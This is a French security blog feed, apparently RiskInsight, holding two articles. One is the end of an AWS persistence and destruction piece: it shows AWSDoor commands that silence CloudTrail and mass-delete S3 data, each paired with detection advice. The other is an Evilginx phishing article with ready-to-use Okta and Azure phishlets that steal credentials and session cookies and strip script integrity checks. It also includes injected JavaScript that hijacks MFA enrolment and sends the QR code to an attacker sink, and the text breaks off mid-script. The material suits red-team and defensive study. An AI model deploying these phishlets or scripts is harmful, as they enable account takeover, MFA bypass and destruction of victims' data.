• Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.

AWSDoor

Cette technique est implémentée dans AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

La limitation réside dans le fait que cela ne désactivera que les trails définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.

Défense

Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.

Sélecteur d’évènement

Attack

Dans AWS CloudTrail, les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.

Par défaut, les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.

Ainsi, en modifiant les sélecteurs d’événements, il est possible de dégrader les capacités de journalisation de CloudTrail, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.

L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :

AWSDoor

AWSDoor peut être utilisé pour reconfigurer le sélecteur d’événements afin d’empêcher la journalisation des événements de données et de gestion :

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Une fois le script exécuté, le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:

Cependant, le sélecteur d’événements empêche toute journalisation ultérieure :

Défense

La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :

De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.

Destruction

Les attaques ciblant la destruction de données visent à provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.

Dans les environnements cloud comme AWS, les attaques destructrices peuvent toucher tous types de ressources, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :

• La suppression de buckets S3 peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).
• L’effacement de volumes EBS ou de snapshots RDS peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.
• Le formatage du compte AWS (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.

AWS Organization Leave

Organization Leave

AWS Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.

Chaque compte AWS au sein d’une organisation reste isolé en termes de ressources et d’identité, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. Cette structure est particulièrement utile pour séparer les données et les charges de travail par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.

AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.

Suppression de données

La suppression de toutes les données d’un compte AWS n’est que rarement instantanée. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.

Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).

Contrairement à la suppression de données, quitter une organisation est une action immédiate. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.

Exfiltration de données avant suppression

Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.

Par exemple, une entreprise héberge une application eShop sur AWS. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.

Avec le contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.

Du point de vue de l’entreprise, une fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci. Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.

Sans accès administrateur au compte désormais isolé, l’entreprise n’a aucun moyen de désactiver les services, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.

Privilèges requis

Pour exécuter l’action LeaveOrganization et détacher un compte AWS de son organisation, l’attaquant doit disposer de privilèges élevés au sein du compte ciblé. Plus précisément, les conditions et autorisations IAM suivantes sont requises :

• Accès au niveau du compte : l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.
• Permission organizations:LeaveOrganization : il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.
• Accès à la facturation : bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.

Défense and détection

Prévention des appels non autorisés à leaveorganization

Le contrôle le plus efficace est l’utilisation des Service Control Policies (SCP). Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.

L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.

La SCP, définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation. Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.

La politique suivante empêchera tout usage abusif de LeaveOrganization :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]

}

Cette SCP doit être attachée directement à la racine de l’AWS Organization afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.

Détection et Monitoring

Même avec des SCP en place, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.

Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.

Destruction de bucket S3

Politique standard de suppression S3

Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.

Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.

De plus, AWS applique une cohérence finale (eventual consistency) sur les suppressions d’objets : même après une requête de suppression, les objets peuvent persister temporairement. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.

Politique de cycle de vie

Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour gérer le cycle de vie du stockage des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet, un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.

Cependant, les politiques de cycle de vie fonctionnent différemment des processus manuels et contournent les protections standard conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). Une fois appliquée, cette politique est rétroactive : tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.

Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.

Étant donné que les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique, retirer le marquage de suppression et révoquer l’accès de l’attaquant.

AWSDoor

Cette technique est implémentée par AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Détection

La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.

À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration, qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).

Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.

Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, une remédiation automatique et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.

Conclusion

CSPM

L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.

Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.

EDR

Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.

Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.

Backup et journalisation

Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.

Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.

Cet article AWSDoor : Persistance sur AWS est apparu en premier sur RiskInsight.

Habituellement, les threat actors tentent d’envoyer des documents malveillants tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d’Office lié aux macros et la sensibilisation accrue au phishing, ces types de techniques sont de moins en moins utilisés.

Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à récupérer l’identité numérique de l’utilisateur : son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.

Pour limiter ce type d’attaques, les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA), afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.

Phishing 101

IDP, cookies et phishing

La protection MFA mise en place par les entreprises est un bon moyen de limiter l’impact d’un phishing réussi. En effet, même si l’acteur de la menace récupère les informations d’identification de l’utilisateur, il ne sera pas en mesure d’usurper l’identité de l’utilisateur puisqu’il ne pourra pas valider le MFA.

Cependant, aujourd’hui, le MFA n’est généralement demandé que lors de la première authentification : une fois que l’utilisateur est authentifié auprès du fournisseur d’identité, celui-ci lui fournit une preuve d’authentification qu’il peut transmettre à n’importe quel service. Grâce à cette preuve d’authentification, l’utilisateur n’a pas besoin d’une authentification active supplémentaire et n’a donc pas besoin de revalider le MFA tant que ce ticket est valide.

Dans les IDP web les plus courants comme Azure, Google ou Okta, ce ticket est représenté par les cookies. Lorsque l’utilisateur se connecte à l’IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l’utilisateur peut se connecter à n’importe quel autre service web compatible SSO sans authentification.

En résumé, les cookies IDP de l’utilisateur représentent l’identité numérique de l’utilisateur. Par conséquent, dans une attaque de phishing dont l’objectif principal est d’usurper cette identité numérique de l’utilisateur, l’attaquant tentera de voler les cookies une fois que l’utilisateur aura réussi son authentification.

Evilginx

Evil proxy

Pour voler les cookies, l’attaquant doit être placé dans une position man-in-the-middle au cours du processus d’authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, l’utilisateur aura conscience qu’il se passe quelque chose d’anormal.

C’est là qu’Evilginx entre en jeu. Au lieu d’effectuer une simple attaque de type « man-in-the-middle » en relayant le paquet vers l’IDP, Evilginx crée un proxy malveillant : l’utilisateur ne s’authentifie pas sur accounts.google.com, mais il s’authentifie sur login.evilginx.com :

Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.

Phislets 101

Par exemple, lors de l’authentification à Azure, les domaines suivants sont utilisés :

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

Le problème est que pendant le processus d’authentification, l’IDP redirige l’utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d’un processus d’authentification SAML classique, l’IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l’utilisateur a commencé son processus d’authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d’authentification, ce qui rompt la position de l’homme du milieu.

Evilginx utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l’IDP renvoie une réponse telle que :

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec le phishlet, Evilginx saura que le domaine login.microsoftonline.com doit être réécrit et renverra à la cible la page modifiée suivante :

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec un tel modèle de correspondance et de remplacement, Evilginx est capable de maintenir l’utilisateur dans l’application malveillante même si l’IDP tente de rediriger l’utilisateur vers une page spécifique.

Limites du remplacement automatique

Le remplacement automatique des phishlets Evilginx a ses limites. En effet, il arrive que le serveur n’indique pas directement le domaine en dur dans la page, mais qu’il le construise par le biais d’un script JS.

Dans ce cas, Evilginx n’est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.

CORS

Dans Okta, le flux d’authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script construit dynamiquement l’URL de redirection : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d’atteindre la page spécifique en utilisant le domaine okta.com, il échoue en raison de la protection CORS (tentative d’atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :

En déboguant l’application, il est possible de trouver l’endroit où la construction de l’URL est effectuée et de la modifier en remplaçant le motif correspondant :

Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

Avec cette simple indication, Evilginx remplacera tout motif correspondant, évitant ainsi la redirection de l’utilisateur en dehors de l’application de phishing.

Intégrité du JS

Lorsque l’on modifie le fichier JS ou tout autre fichier via Evilginx, cela peut causer des problèmes en raison du hash d’intégrité du script :

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l’application refusera de le charger.

Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d’intégrité :

Replace: integrity="[^"]*"
By: integrity=''

Validation de l’URI de redirection

Le dernier point est la validation de l’URI de redirection. En effet, lors de l’authentification OIDC, le client sera redirigé vers une page dont l’URL est du type :

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.

Cela déclenchera le processus de validation de l’uri de redirection. Le domaine evilginx.com n’ayant pas été configuré du côté d’Okta comme un domaine de redirection valide, Okta affichera l’erreur suivante :

L’URI de redirection est construit dynamiquement par Okta en prenant le domaine de connexion et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l’URL et en s’assurant que l’URI de rappel est celui attendu par Okta :

En utilisant Evilginx, il est possible d’utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri à la bonne URI :

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Phishlets basiques

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automatiser les actions critiques

Ajouter un nouvel appareil au MFA

Une fois qu’un attaquant est en mesure de récupérer un accès initial à la session de l’utilisateur, il doit mettre en place une persistance de l’accès car les cookies ont une durée de validité limitée.

Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l’utilisateur.

Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi, tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant.

En revanche, sur certaines plateformes d’identification comme Okta, l’enregistrement d’un MFA exige une validation MFA préalable. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.

Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :

1. L’utilisateur s’authentifie une première fois pour accéder à sa session
2. Evilginx vole les cookies de session
3. Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan
4. L’utilisateur revalide son MFA, pensant que la première tentative a échoué
5. Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil

Toutes ces actions peuvent être automatisées via Evilginx en modifiant les scripts JS.

Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

Ce script sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans une boucle de redirection infinie à la fin de son authentification.

Ensuite, un nouveau code JS est ajouté à la page /help/login. Ce script permet d’énumérer les technologies MFA disponibles et configurées :

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

Le script sélectionne la méthode d’authentification “Okta Verify” et redirige l’utilisateur vers la page de configuration.

Sur cette page de configuration, un nouveau script JS est injecté. Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA :

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
